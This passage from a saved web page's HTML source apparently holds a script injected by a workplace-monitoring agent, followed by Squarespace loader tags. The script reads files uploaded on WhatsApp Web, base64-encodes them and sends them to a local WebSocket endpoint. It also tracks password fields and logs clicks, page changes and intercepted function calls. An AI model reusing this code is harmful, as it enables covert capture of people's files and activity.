            return !!e && document[e]
        }

        function h() {
            var e = document.head.querySelector("[name='og:title']");
            return !!e && "WhatsApp Web" === e.getAttribute("content")
        }

        function y() {
            B.send(JSON.stringify({
                type: "waptracking"
            }))
        }

        function v() {
            H = new Map, P = new Set, R = 0, (x = new Date).setSeconds(0), x.setMilliseconds(0)
        }

        function S(e) {
            for (var t = "", Y = new Uint8Array(e), n = Y.byteLength, r = 0; r < n; r++) t += String.fromCharCode(Y[r]);
            return window.btoa(t)
        }
        e = this, t = {}, Y = {
            en: {
                MMMM: "January February March April May June July August September October November December".split(
                    " "),
                MMM: "Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),
                dddd: "Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" "),
                ddd: "Sun Mon Tue Wed Thu Fri Sat".split(" "),
                dd: "Su Mo Tu We Th Fr Sa".split(" "),
                A: ["a.m.", "p.m."],
                formatter: {
                    YYYY: function(e) {
                        return ("000" + e.getFullYear()).slice(-4)
                    },
                    YY: function(e) {
                        return ("0" + e.getFullYear()).slice(-2)
                    },
                    Y: function(e) {
                        return "" + e.getFullYear()
                    },
                    MMMM: function(e) {
                        return this.MMMM[e.getMonth()]
                    },
                    MMM: function(e) {
                        return this.MMM[e.getMonth()]
                    },
                    MM: function(e) {
                        return ("0" + (e.getMonth() + 1)).slice(-2)
                    },
                    M: function(e) {
                        return "" + (e.getMonth() + 1)
                    },
                    DD: function(e) {
                        return ("0" + e.getDate()).slice(-2)
                    },
                    D: function(e) {
                        return "" + e.getDate()
                    },
                    HH: function(e) {
                        return ("0" + e.getHours()).slice(-2)
                    },
                    H: function(e) {
                        return "" + e.getHours()
                    },
                    A: function(e) {
                        return this.A[11 < e.getHours() | 0]
                    },
                    hh: function(e) {
                        return ("0" + (e.getHours() % 12 || 12)).slice(-2)
                    },
                    h: function(e) {
                        return "" + (e.getHours() % 12 || 12)
                    },
                    mm: function(e) {
                        return ("0" + e.getMinutes()).slice(-2)
                    },
                    m: function(e) {
                        return "" + e.getMinutes()
                    },
                    ss: function(e) {
                        return ("0" + e.getSeconds()).slice(-2)
                    },
                    s: function(e) {
                        return "" + e.getSeconds()
                    },
                    SSS: function(e) {
                        return ("00" + e.getMilliseconds()).slice(-3)
                    },
                    SS: function(e) {
                        return ("0" + (e.getMilliseconds() / 10 | 0)).slice(-2)
                    },
                    S: function(e) {
                        return "" + (e.getMilliseconds() / 100 | 0)
                    },
                    dddd: function(e) {
                        return this.dddd[e.getDay()]
                    },
                    ddd: function(e) {
                        return this.ddd[e.getDay()]
                    },
                    dd: function(e) {
                        return this.dd[e.getDay()]
                    },
                    Z: function(e) {
                        return (0 < (e = e.utc ? 0 : e.getTimezoneOffset() / .6) ? "-" : "+") + ("000" + Math
                            .abs(e - e % 100 * .4)).slice(-4)
                    },
                    post: function(e) {
                        return e
                    }
                },
                parser: {
                    find: function(e, t) {
                        for (var Y, n = -1, r = 0, a = 0, s = e.length; a < s; a++) Y = e[a], !t.indexOf(Y) && Y
                            .length > r && (n = a, r = Y.length);
                        return {
                            index: n,
                            length: r
                        }
                    },
                    MMMM: function(e) {
                        return this.parser.find(this.MMMM, e)
                    },
                    MMM: function(e) {
                        return this.parser.find(this.MMM, e)
                    },
                    A: function(e) {
                        return this.parser.find(this.A, e)
                    },
                    h: function(e, t) {
                        return (12 === e ? 0 : e) + 12 * t
                    },
                    pre: function(e) {
                        return e
                    }
                }
            }
        }, t.format = function(e, n, r) {
            var a = t.addMinutes(e, r ? e.getTimezoneOffset() : 0),
                s = Y.en,
                i = s.formatter;
            return a.utc = r, n.replace(/(\[[^\[\]]*]|\[.*\][^\[]*\]|YYYY|YY|MMM?M?|DD|HH|hh|mm|ss|SSS?|ddd?d?|.)/g,
                (function(e) {
                    var t = i[e];
                    return t ? i.post(t.call(s, a, n)) : e.replace(/\[(.*)]/, "$1")
                }))
        }, t.parse = function(e, n, r) {
            var a, s, i = Y.en,
                o = i.parser.pre(e),
                u = 0,
                d = /(MMMM?|A)|(YYYY)|(SSS)|(MM|DD|HH|hh|mm|ss)|(YY|M|D|H|h|m|s|SS)|(S)|(.)/g,
                c = {
                    2: /^\d{1,4}/,
                    3: /^\d{1,3}/,
                    4: /^\d\d/,
                    5: /^\d\d?/,
                    6: /^\d/
                };
            e = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];
            for (var M = {
                    Y: 1970,
                    M: 1,
                    D: 1,
                    H: 0,
                    m: 0,
                    s: 0,
                    S: 0
                }; a = d.exec(n);) {
                var l = 0,
                    f = 1;
                for (s = ""; !s;) s = a[++l];
                a = s.charAt(0);
                var D = o.slice(u);
                if (2 > l) {
                    var p = i.parser[s].call(i, D, n);
                    M[a] = p.index, "M" === a && M[a]++, f = p.length
                } else if (7 > l) p = (D.match(c[l]) || [""])[0], M[a] = 0 | ("S" === a ? (p + "000").slice(0, -s
                    .length) : p), f = p.length;
                else if (" " !== a && a !== D[0]) return NaN;
                if (!f) return NaN;
                u += f
            }
            return u === o.length && p ? (M.Y += 70 > M.Y ? 2e3 : 100 > M.Y ? 1900 : 0, M.H = M.H || i.parser.h(M
                    .h || 0, M.A || 0), n = new Date(M.Y, M.M - 1, M.D, M.H, M.m, M.s, M.S), e[1] += 0 | t
                .isLeapYear(n), 1 > M.M || 12 < M.M || 1 > M.D || M.D > e[M.M - 1] || 23 < M.H || 59 < M.m ||
                59 < M.s ? NaN : r ? t.addMinutes(n, -n.getTimezoneOffset()) : n) : NaN
        }, t.isValid = function(e, Y) {
            return !!t.parse(e, Y)
        }, t.addYears = function(e, Y) {
            return t.addMonths(e, 12 * Y)
        }, t.addMonths = function(e, t) {
            var Y = new Date(e.getTime());
            return Y.setMonth(Y.getMonth() + t), Y
        }, t.addDays = function(e, t) {
            var Y = new Date(e.getTime());
            return Y.setDate(Y.getDate() + t), Y
        }, t.addHours = function(e, Y) {
            return t.addMilliseconds(e, 36e5 * Y)
        }, t.addMinutes = function(e, Y) {
            return t.addMilliseconds(e, 6e4 * Y)
        }, t.addSeconds = function(e, Y) {
            return t.addMilliseconds(e, 1e3 * Y)
        }, t.addMilliseconds = function(e, t) {
            return new Date(e.getTime() + t)
        }, t.subtract = function(e, t) {
            var Y = e.getTime() - t.getTime();
            return {
                toMilliseconds: function() {
                    return Y
                },
                toSeconds: function() {
                    return Y / 1e3 | 0
                },
                toMinutes: function() {
                    return Y / 6e4 | 0
                },
                toHours: function() {
                    return Y / 36e5 | 0
                },
                toDays: function() {
                    return Y / 864e5 | 0
                }
            }
        }, t.isLeapYear = function(e) {
            return !(((e = e.getFullYear()) % 4 || !(e % 100)) && e % 400)
        }, t.isSameDay = function(e, Y) {
            return t.format(e, "YYYYMMDD") === t.format(Y, "YYYYMMDD")
        }, e.date = t;
        const b = new Map;

        function N(e) {
            const t = "tm_overlay",
                Y = 10485760;
            let n = function() {
                let e = document.getElementById(t);
                e && e.remove(), b.clear()
            };
            if (e) {
                const r = new FileReader;
                let a;
                e.size > Y && (a = e.slice(0, Y));
                let s = !1;
                if (b.forEach((t => {
                        t.fileName === e.name && (s = !0)
                    })), !s) {
                    r.addEventListener("load", (t => {
                            try {
                                const t = crypto.randomUUID();
                                b.set(t, {
                                    responseCallback: e => {
                                        e.block && function() {
                                            const e = [],
                                                t = t => {
                                                    t.querySelectorAll(
                                                            'button:not([tabindex="-1"])')
                                                        .forEach((t => {
                                                            t.querySelector(
                                                                'span[data-icon="x"]'
                                                            ) && (e.push(t), t
                                                                .click())
                                                        }))
                                                },
                                                Y = new MutationObserver(((Y, n) => {
                                                    Y.forEach((e => {
                                                            "childList" === e
                                                                .type && e
                                                                .addedNodes
                                                                .length > 0 && e
                                                                .addedNodes
                                                                .forEach((e => {
                                                                    e.nodeType ===
                                                                        Node
                                                                        .ELEMENT_NODE &&
                                                                        t(
                                                                            e
                                                                        )
                                                                }))
                                                        })), e.length > 0 && n
                                                        .disconnect()
                                                }));
                                            Y.observe(document.body, {
                                                childList: !0,
                                                subtree: !0
                                            }), t(document), e.length > 0 && Y.disconnect()
                                        }(), n()
                                    },
                                    fileName: e.name
                                }), B.send(JSON.stringify({
                                    requestId: t,
                                    type: "waptransfer",
                                    direction: "upload",
                                    filename: e.name,
                                    filesize: e.size,
                                    filetype: e.type,
                                    url: document.URL,
                                    filehash: "0",
                                    process: w.pn,
                                    content: S(r.result)
                                }))
                            } catch (e) {
                                n()
                            }
                        })), r.addEventListener("error", (e => {
                            n()
                        })), r.addEventListener("abort", (e => {
                            n()
                        })),
                        function() {
                            if (!document.getElementById(t)) {
                                let e = document.createElement("div");
                                e.id = t, e.style.cssText =
                                    "background:rgba(0, 0, 0, .6);position:absolute;top:0;left:0;height:100%;width:100%;z-index:999",
                                    document.body.appendChild(e)
                            }
                        }();
                    try {
                        null == a ? r.readAsArrayBuffer(e) : r.readAsArrayBuffer(a)
                    } catch (e) {
                        n()
                    }
                }
            }
        }

        function A(e) {
            var t = {
                handler: "log",
                module: "wapjs",
                url: "wap",
                message: e
            };
            B.send(JSON.stringify(t))
        }

        function E(e) {
            var t = {
                name: e.data.name,
                type: e.data.type
            };
            "iframePasswordInputFocused" === e.data.message ? c(t, !0) : "iframePasswordInputBlurred" === e.data
                .message && M(t, !0)
        }
        var w = {
                token: "66e39b2a-fb80-431e-afda-d63cd7951a49",
                sendNotificationsInterval: Number("1000"),
                pollWhatsappTrackingInterval: Number("20000"),
                connectionString: "wss://tm.filter:1502",
                pid: "14700",
                pn: "chrome.exe",
                iup: false,
                dontTrackWebPasswords: false,
                extJs: /*   * don't use double slash comments here as this will be stored in one line for the TMU migrations   *    * this is stored in the kv_store table for the key hm_websites_js   *    * all code should describe one javascript object, i.e. { bla-bla-bla }   *    * this object will be included in standard js injection code as a replacement of 'insight_placeholder'   * if domain of the page matches one of the domain regexes from the hypermonitoring_web settings   * if not, 'insight_placeholder' will be replaced with null   *    * this object must contain function init(token), it will be called only once when document became visible (it is called for every iframe too)   *    * also this code contains placeholdes, see doc in the code (search for `_placeholder` suffix)   *    * also this object must contain property webSock that will be assigned WebSocket when created   *    * this object should send json for every registered event with the following structure:   * {   *      cat: 'insight' - this is required to route the message to the proper handler   *      type: click | changed - type of the event   *      elm: uint32 - id of the element that fired the event. used for deduplication of the events   *      page: uint32 - id of the hypermonitored location   *      obj: uint32 - id of the hypermonitored object that fired event   *      url: string - current document url   *      token: string - js injection token, used to unique identify browser page   *      values: json - contains all collected information about event and it's context   *      proc: id of the process of the host electron   * }   */ {
                    /* this will be replaced with the rules for current domain       * [        *      {          *          id: locationId,        *          url: string | null,        *          objects:        *          [       *              {        *                  id: objectId,        *                  sources: [],       *                  ...       *              },       *              ...       *          ]        *      },       *      ...       * ]       */
                    pages: [],
                    /* required property for electron */
                    proc: null,
                    /* required property - will be assigned to WebSocket once it will be read */
                    webSock: null,
                    pendingPackets: [],
                    webSockReady: function() {
                        return this.webSock !== null && this.webSock.readyState === WebSocket.OPEN;
                    },
                    processPacket: function(t) {
                        if (!this.webSockReady()) this.pendingPackets.push(t);
                        else {
                            this.sendPendingPackets();
                            this.webSock.send(t);
                        }
                    },
                    sendPendingPackets: function() {
                        if (this.webSockReady() && this.pendingPackets.length > 0) {
                            for (var i = 0; i < this.pendingPackets.length; ++i) this.webSock.send(this
                                .pendingPackets[i]);
                            this.pendingPackets = [];
                        }
                    },
                    /* store js injection token */
                    token: null,
                    /* should we send log messages to the agent, bool */
                    sendLog: false,
                    /* should we include all content of the htmlelements in the log messages, bool */
                    sendLogFullData: false,
                    /* should we log snapshots of the html after every mutation event */
                    sendLogSnapshots: false,
                    /* should we catch exceptions and log them (as opposed to let browser stops in debugger) */
                    sendLogExceptions: true,
                    /*       * required function - it will be called once when document became visible       * it will be also called for iframes       *           * argument token - js injection token       */
                    init: function(token) {
                        this.token = token;
                        this.log("init: token:" + token + " sendLog:" + this.sendLog + " sendLogFullData:" + this
                            .sendLogFullData);
                        if (document.readyState === "interactive" || document.readyState === "complete") this
                            .attachEvents();
                        else window.addEventListener("DOMContentLoaded", this.attachEvents.bind(this));
                        setInterval(this.sendPendingPackets.bind(this), 1000);
                    },
                    /*       * here we scan all provided settings and choose what listeners are required       * we don't want to intrude in the js more that necessary for performance and compatibility considerations       */
                    attachEvents: function() {
                        var needClick = false,
                            needChange = false,
                            needChildList = this.sendLogSnapshots,
                            needCharacterData = this.sendLogSnapshots,
                            callObjects = [];
                        this.pages.forEach(function(page) {
                            page.objects.forEach(function(obj) {
                                ['addText', 'removeText', 'addElm', 'removeElm', 'stateByElm']
                                .forEach(function(source) {
                                    if (obj.sources.includes(source)) needChildList = true;
                                });
                                if (obj.sources.includes('changeText')) needCharacterData = true;
                                if (obj.sources.includes('change')) needChange = true;
                                if (obj.sources.includes('click')) needClick = true;
                                if (obj.sources.includes('call')) callObjects.push({
                                    page: page,
                                    obj: obj
                                });
                            });
                        });
                        this.log("attachEvents: needClick:" + needClick + " needChange:" + needChange +
                            " needChildList:" + needChildList + " needCharacterData:" + needCharacterData);
                        if (needClick) window.addEventListener('click', this.onEvent.bind(this), true);
                        if (needChange) window.addEventListener('change', this.onEvent.bind(this), true);
                        if (needChildList || needCharacterData) new MutationObserver(this.onMutation.bind(this))
                            .observe(document, {
                                subtree: true,
                                childList: needChildList,
                                characterData: needCharacterData
                            });
                        if (needClick || needChange || needChildList || needCharacterData) {
                            /* we process mutation events only after human interaction */
                            window.addEventListener('keydown', this.onInteraction.bind(this));
                            window.addEventListener('mousedown', this.onInteraction.bind(this));
                        }
                        if (callObjects.length > 0) {
                            var self = this;
                            var intervalHandle = setInterval(function() {
                                for (var i = callObjects.length - 1; i >= 0; i--) {
                                    if (self.interceptCall(callObjects[i])) callObjects.splice(i, 1);
                                }
                                if (callObjects.length == 0) clearInterval(intervalHandle);
                            }, 500);
                        }
                    },
                    interceptCall: function(callObj) {
                        var obj = callObj.obj,
                            jsObj;
                        try {
                            jsObj = this.calc(obj, "object", [], []);
                        } catch {}
                        if (jsObj == null) {
                            this.log("attachEvents: object:" + obj.id + " is not found");
                            return false;
                        }
                        var method = jsObj[obj.func];
                        var self = this;
                        jsObj[obj.func] = function() {
                            var arg_data = self.calc(obj, "arg_data", ["args"], [arguments], "return null");
                            var ret = method.apply(jsObj, arguments);
                            var return_data = self.calc(obj, "return_data", ["ret"], [ret], "return null");
                            if (arg_data != null || return_data != null) self.sendEvent("interceptCall", callObj
                                .page, obj, undefined, {
                                    arg_data: arg_data,
                                    return_data: return_data
                                });
                            return ret;
                        };
                        self.log("attachEvents: object:" + obj.id + ", " + (obj.object || obj.object_f) +
                            " is found, call to '" + obj.func + "' intercepted");
                        return true;
                    },
                    /* new Date().getTime() of the last human interacion (keydown, mousedown, mouseup)      to filter out DOM mutation events that was not due to human activity */
                    lastInteraction: null,
                    /* on human interaction (keydown, mousedown, mouseup) */
                    onInteraction: function(ev) {
                        this.lastInteraction = new Date().getTime();
                        this.log('onInteraction: human Interaction ' + ev.type + ': ' + this.lastInteraction);
                    },
                    /* handles click and change events */
                    onEvent: function(ev) {
                        var self = this;
                        this.callSafe("onEvent", function() {
                            self.handleEvent(ev.type, ev.type, ev.composed ? ev.composedPath() : self
                                .getAncestors(ev.target));
                        });
                    },
                    /* handles addText, changeText, removeText, addElm, removeElm DOM mutation events */
                    onMutation: function(mList) {
                        var self = this;
                        if (this.sendLogSnapshots) this.log("snapshot: " + document.body.outerHTML.replace(/\n|\r/g,
                            '#'));
                        this.callSafe("onMutation", function() {
                            if (self.lastInteraction !== null) {
                                mList.forEach(function(m) {
                                    if (m.type === 'childList') {
                                        m.removedNodes.forEach(function(sub) {
                                            if (sub.nodeType === Node.TEXT_NODE) self
                                                .handleEvent('change', 'removeText', self
                                                    .getAncestors(m.target));
                                            else if (sub.nodeType === Node.ELEMENT_NODE)
                                                self.handleEventWithSub('change',
                                                    'removeElm', self.getAncestors(m
                                                        .target), sub);
                                        });
                                        m.addedNodes.forEach(function(sub) {
                                            if (sub.nodeType === Node.TEXT_NODE) self
                                                .handleEvent('change', 'addText', self
                                                    .getAncestors(m.target));
                                            else if (sub.nodeType === Node.ELEMENT_NODE)
                                                self.handleEventWithSub('change', 'addElm',
                                                    self.getAncestors(m.target), sub);
                                        });
                                    } else if (m.type === 'characterData' && m.target) self
                                        .handleEvent('change', 'changeText', self.getAncestors(m
                                            .target));
                                });
                            }
                            self.processStateByElm();
                        });
                    },
                    objId2key2value: {},
                    processStateByElm: function() {
                        var self = this;
                        self.forEachObject('stateByElm', function(page, obj) {
                            var key2value = {};
                            if (self.calc(obj, 'condition', [], [], "return true;")) {
                                self.applySelector(document, obj.selector).forEach(function(elm) {
                                    var key = self.calc(obj, 'key', ['e'], [elm]);
                                    var value = self.calc(obj, 'value', ['e'], [elm]);
                                    key2value[JSON.stringify(key)] = JSON.stringify(value);
                                });
                            }
                            var oldKey2Value = self.objId2key2value[obj.id];
                            oldKey2Value = oldKey2Value ? oldKey2Value : {};
                            for (var k in key2value) {
                                if (key2value[k] !== oldKey2Value[k]) self.sendEvent('change', page, obj,
                                    undefined, {
                                        key: JSON.parse(k),
                                        old: oldKey2Value[k] ? JSON.parse(oldKey2Value[k]) : undefined,
                                        "new": JSON.parse(key2value[k])
                                    });
                                delete oldKey2Value[k];
                            }
                            for (var k in oldKey2Value) self.sendEvent('change', page, obj, undefined, {
                                key: JSON.parse(k),
                                old: oldKey2Value[k] ? JSON.parse(oldKey2Value[k]) : undefined
                            });
                            self.objId2key2value[obj.id] = key2value;
                        });
                    },
                    /* get ancestors for the element */
                    getAncestors: function(e) {
                        var path = [];
                        for (; e !== document && e !== null; e = e.parentNode) path.push(e);
                        return path;
                    },
                    /* handles simple events: click, change, addText, changeText, removeText */
                    handleEvent: function(
                        type, source, ancestors) {
                        if (this.sendLog) /* double check not to call elementString in vain */ this.log(
                            "handleEvent: type:" + type + " source:" + source + " target:" + this.elementString(
                                ancestors[0]));
                        var self = this;
                        this.forEachMatch(source, ancestors, function(page, obj, elm) {
                            self.send(type, page, obj, ancestors[0], elm);
                        });
                    },
                    /* handles events with sub element: addElm, removeElm */
                    handleEventWithSub: function(type, source,
                        ancestors, sub) {
                        if (this.sendLog) /* double check not to call elementString in vain */ this.log(
                            "handleEventWithSub: type:" + type + " source:" + source + " target:" + this
                            .elementString(ancestors[0]) + " sub:" + this.elementString(sub));
                        var self = this;
                        this.forEachMatch(source, ancestors, function(page, obj, elm) {
                            if (!obj.sub_matches || sub.matches(obj.sub_matches)) {
                                if (obj.sub_selector) {
                                    self.applySelector(sub, obj.sub_selector).forEach(function(descendant) {
                                        self.send(type, page, obj, ancestors[0], elm, sub,
                                            descendant);
                                    });
                                } else {
                                    self.send(type, page, obj, ancestors[0], elm, sub);
                                }
                            }
                        });
                    },
                    /* enumerate all obj based on url and source. calls handler(page, obj) */
                    forEachObject: function(
                        source, handler) {
                        var self = this;
                        this.pages.forEach(function(page) {
                            if (self.testRegex(page.url, document.URL)) {
                                page.objects.forEach(function(obj) {
                                    if (obj.sources.includes(source)) handler(page, obj);
                                });
                            }
                        });
                    },
                    /* enumerate all matches based on url, source and interactionInterval, matches and selector. calls handler(page, obj, matchedElm) */
                    forEachMatch: function(source, ancestors, handler) {
                        var self = this;
                        this.forEachObject(source, function(page, obj) {
                            if (obj.interactionInterval && (self.lastInteraction == null || new Date()
                                    .getTime() - self.lastInteraction > obj.interactionInterval)) {
                                if (self.lastInteraction != null) self.log(
                                    'forEachMatch skip rule: interval:' + (new Date().getTime() - self
                                        .lastInteraction).toString());
                            } else {
                                var scope = obj.scope === 'target' ? [ancestors[0]] : ancestors,
                                    m = obj.matches,
                                    set = !m && obj.selector ? self.applySelector(document, obj.selector) :
                                    null;
                                for (var i = 0; i < scope.length; ++i) {
                                    if ((m && scope[i].matches && scope[i].matches(
                                            m
                                        )) /* scope[i] may not be element, test if matches is defined */ ||
                                        (set && set.includes(scope[i]))) {
                                        handler(page, obj, scope[i]);
                                        break;
                                    }
                                }
                            }
                        });
                    },
                    /* return array of elements after applying commands from the selector settings */
                    applySelector: function(root, commands) {
                        const self = this;
                        var elms = [root];
                        commands.forEach(function(command) {
                            var res = [];
                            elms.forEach(function(elm) {
                                if (command.test_text) {
                                    /* test_text command keeps only elements whose text matches regex */
                                    if (self.testRegex(command.test_text, elm.textContent)) res
                                        .push(elm);
                                } else if (command.move) {
                                    /* move command transforms element into querySelectorAll set and select shadowRoot if present */
                                    elm.querySelectorAll(':scope ' + command.move).forEach(function(
                                        e) {
                                        var s = e.shadowRoot;
                                        res.push(s ? s : e);
                                    });
                                } else if (command.exists) {
                                    /* exists command keeps only elements for which selector set is not empty */
                                    if (self.applySelector(elm, command.exists).length !== 0) res
                                        .push(elm);
                                }
                            });
                            elms = res;
                        });
                        return elms;
                    },
                    /* send event data to websocket, data structure:       * {       *      cat: 'insight' - this is required to route the message to the proper handler       *      type: click | changed - type of the event       *      elm: uint32 - id of the element that fired the event. used for deduplication of the events       *      page: uint32 - id of the hypermonitored location       *      obj: uint32 - id of the hypermonitored object that fired event       *      url: string - current document url       *      token: string - js injection token, used to unique identify browser page       *      values: json - contains all collected information about event and it's context       * }       */
                    lastSentElm: null,
                    lastSentElmId: 0,
                    send: function(type, page, obj, target, e, sub, descendant) {
                        if (this.lastSentElm !== e) {
                            this.lastSentElm = e;
                            this.lastSentElmId++;
                        }
                        const values = this.calc(obj, 'values', ['target', 'e', 'sub', 'descendant'], [target, e,
                            sub, descendant
                        ]);
                        if (values) this.sendEvent(type, page, obj, this.lastSentElmId.toString(), values);
                    },
                    sendEvent: function(type, page, obj, elmId, values) {
                        const t = JSON.stringify({
                            values: values,
                            handler: page.handler,
                            type: type,
                            elm: elmId,
                            page: page.id,
                            obj: obj.id,
                            url: document.URL,
                            token: this.token,
                            proc: this.proc
                        });
                        if (this.sendLog) console.log("[InsightJs] send: " + t);
                        this.processPacket(t);
                    },
                    /* utils: cache compiled regexes */
                    string2regex: {},
                    testRegex: function(stringRegex, value) {
                        if (stringRegex === null) return true;
                        if (!(stringRegex in this.string2regex)) this.string2regex[stringRegex] = new RegExp(
                            stringRegex);
                        return this.string2regex[stringRegex].test(value);
                    },
                    /* utils: cache compiled functions */
                    code2function: {},
                    calc: function(host, prop, names, args, defaultCode) {
                        var code = host[prop] ? "return " + host[prop] + ";" : host[prop + "_f"];
                        if (code == null) code = defaultCode;
                        if (code == null) {
                            this.log("code not found, calc(" + JSON.stringify(host) + "), prop:" + prop);
                            return {};
                        }
                        if (!(code in this.code2function)) this.code2function[code] = new Function(...names, code);
                        return this.code2function[code].apply(null, args);
                    },
                    /* utils: dump html element to the log */
                    elementString: function(e) {
                        var html = e.nodeType == Node.TEXT_NODE ? e.data : e.outerHTML;
                        if (this.sendLogFullData) return html;
                        html = html.length > 100 ? html.substr(0, 100) + " ... total len:" + html.length : html;
                        return html.replace(/\n|\r/g, '#');
                    },
                    /* log to console and to the agent */
                    log: function(message, force) {
                        if (this.sendLog || force) {
                            var m = new Date().toLocaleString() + ": " + message;
                            console.log("[InsightJs] " + m + ", url:" + document.URL);
                            this.processPacket(JSON.stringify({
                                handler: "log",
                                module: "InsightJs",
                                message: m,
                                url: document.URL
                            }));
                        }
                    },
                    callSafe: function(name, f) {
                        if (!this.sendLogExceptions) f();
                        else {
                            try {
                                f()
                            } catch (e) {
                                this.log("exception in " + name + ":" + e.name + ", " + e.message, true);
                            }
                        }
                    }
                }
            },
            L = 6e4,
            I = null,
            T = null,
            k = null,
            C = null,
            O = !1,
            H = null,
            P = null,
            R = 0,
            x = null,
            B = null,
            F = "",
            J = !1;
        ! function e(t) {
            m() ? setTimeout((function() {
                e(t)
            }), 1e3) : t()
        }((function() {
            w.extJs && w.extJs.init(w.token), n() && (window.addEventListener("focus", r, !0), w
                    .dontTrackWebPasswords && window.addEventListener("message", E, !1)), n() || w.extJs ? p() :
                w.dontTrackWebPasswords && f()
        }))
    }();
    </script>
    <script type="text/javascript"
        src="//use.typekit.net/ik/toCG1Es_kaeDRgGHqyHH5we1FFCS-WUqQaZnfVerPpvfeTCgfFHN4UJLFRbh52jhWDjhjRqu5AsRwcwXjAmKwhbujQIh5AmKjyGMJys0ZWSlSagTSc8XOAFzdcs8d1F8ZfJF-A4lOWgCZW6ldAN0dkGHfJV8MyMMeMj6MKGHfJQ8MyMMeMS6MKGHfOkaMyMgeMb6MKGHfwHaMyMgeMS6MKGHfOhaMyMgeMt6MKGHfw5aMyMgegI6MTMg3dQ8lbj.js">
    </script>
    <script type="text/javascript">
    try {
        Typekit.load();
    } catch (e) {}
    </script>
    <script type="text/javascript" crossorigin="anonymous" defer="defer" nomodule="nomodule"
        src="//assets.squarespace.com/@sqs/polyfiller/1.6/legacy.js"></script>
    <script type="text/javascript" crossorigin="anonymous" defer="defer"
        src="//assets.squarespace.com/@sqs/polyfiller/1.6/modern.js"></script>
    <script type="text/javascript">
    SQUARESPACE_ROLLUPS = {};
    </script>
    <script>
    (function(rollups, name) {
        if (!rollups[name]) {
            rollups[name] = {};
        }
        rollups[name].js = [
            "//assets.squarespace.com/universal/scripts-compressed/extract-css-runtime-13e8b09ce6bb27d26cf6-min.en-US.js"
        ];
    })(SQUARESPACE_ROLLUPS, 'squarespace-extract_css_runtime');
    </script>
    <script crossorigin="anonymous"
        src="//assets.squarespace.com/universal/scripts-compressed/extract-css-runtime-13e8b09ce6bb27d26cf6-min.en-US.js"
        defer></script>
    <script>
    (function(rollups, name) {
        if (!rollups[name]) {
            rollups[name] = {};
        }
        rollups[name].js = [
            "//assets.squarespace.com/universal/scripts-compressed/extract-css-moment-js-vendor-dfbb72c875564c27a00c-min.en-US.js"
        ];
    })(SQUARESPACE_ROLLUPS, 'squarespace-extract_css_moment_js_vendor');
    </script>
    <script crossorigin="anonymous"
        src="//assets.squarespace.com/universal/scripts-compressed/extract-css-moment-js-vendor-dfbb72c875564c27a00c-min.en-US.js"
        defer></script>
    <script>
    (function(rollups, name) {
        if (!rollups[name]) {
            rollups[name] = {};
        }
        rollups[name].js = [
            "//assets.squarespace.com/universal/scripts-compressed/cldr-resource-pack-15305921bb94c505cd92-min.en-US.js"
        ];
    })(SQUARESPACE_ROLLUPS, 'squarespace-cldr_resource_pack');
    </script>
    <script crossorigin="anonymous"
        src="//assets.squarespace.com/universal/scripts-compressed/cldr-resource-pack-15305921bb94c505cd92-min.en-US.js"
        defer></script>
    <script>
    (function(rollups, name) {
        if (!rollups[name]) {
            rollups[name] = {};
        }
        rollups[name].js = [
            "//assets.squarespace.com/universal/scripts-compressed/common-vendors-stable-0f51b06fac4ba1f7c845-min.en-US.js"
        ];
    })(SQUARESPACE_ROLLUPS, 'squarespace-common_vendors_stable');
    </script>
    <script crossorigin="anonymous"
        src="//assets.squarespace.com/universal/scripts-compressed/common-vendors-stable-0f51b06fac4ba1f7c845-min.en-US.js"
        defer></script>
    <script>
    (function(rollups, name) {
        if (!rollups[name]) {
            rollups[name] = {};
        }
        rollups[name].js = [
            "//assets.squarespace.com/universal/scripts-compressed/common-vendors-bce52419eaea809626c3-min.en-US.js"
        ];
    })(SQUARESPACE_ROLLUPS, 'squarespace-common_vendors');
    </script>
    <script crossorigin="anonymous"
        src="//assets.squarespace.com/universal/scripts-compressed/common-vendors-bce52419eaea809626c3-min.en-US.js"
        defer></script>
    <script>
    (function(rollups, name) {
        if (!rollups[name]) {
            rollups[name] = {};
        }
        rollups[name].js = [
            "//assets.squarespace.com/universal/scripts-compressed/common-dad6a9f6f9a13ab1f6df-min.en-US.js"
        ];
    })(SQUARESPACE_ROLLUPS, 'squarespace-common');
    </script>
    <script crossorigin="anonymous"
        src="//assets.squarespace.com/universal/scripts-compressed/common-dad6a9f6f9a13ab1f6df-min.en-US.js" defer>
    </script>
    <script>
    (function(rollups, name) {
        if (!rollups[name]) {
            rollups[name] = {};
        }
        rollups[name].js = [
            "//assets.squarespace.com/universal/scripts-compressed/commerce-ecc740a007a473873307-min.en-US.js"
        ];
    })(SQUARESPACE_ROLLUPS, 'squarespace-commerce');
    </script>
    <script crossorigin="anonymous"
        src="//assets.squarespace.com/universal/scripts-compressed/commerce-ecc740a007a473873307-min.en-US.js" defer>
    </script>
    <script>
    (function(rollups, name) {
        if (!rollups[name]) {
            rollups[name] = {};
        }
        rollups[name].css = [
            "//assets.squarespace.com/universal/styles-compressed/commerce-69c9d442394ad622f3da-min.en-US.css"
        ];
    })(SQUARESPACE_ROLLUPS, 'squarespace-commerce');
    </script>
    <link rel="stylesheet" type="text/css"
        href="//assets.squarespace.com/universal/styles-compressed/commerce-69c9d442394ad622f3da-min.en-US.css">
    <script>
    (function(rollups, name) {
        if (!rollups[name]) {
            rollups[name] = {};
        }
        rollups[name].js = [
            "//assets.squarespace.com/universal/scripts-compressed/user-account-core-ed31c969f774f9ac8a92-min.en-US.js"
        ];
    })(SQUARESPACE_ROLLUPS, 'squarespace-user_account_core');
    </script>
    <script crossorigin="anonymous"
        src="//assets.squarespace.com/universal/scripts-compressed/user-account-core-ed31c969f774f9ac8a92-min.en-US.js"
        defer></script>
    <script>
    (function(rollups, name) {
        if (!rollups[name]) {
            rollups[name] = {};
        }
        rollups[name].css = [
            "//assets.squarespace.com/universal/styles-compressed/user-account-core-e84acd73aa5ee3fcd4ad-min.en-US.css"
        ];
    })(SQUARESPACE_ROLLUPS, 'squarespace-user_account_core');
    </script>
    <link rel="stylesheet" type="text/css"
        href="//assets.squarespace.com/universal/styles-compressed/user-account-core-e84acd73aa5ee3fcd4ad-min.en-US.css">
    <script>
    (function(rollups, name) {
        if (!rollups[name]) {
            rollups[name] = {};
        }
        rollups[name].js = [
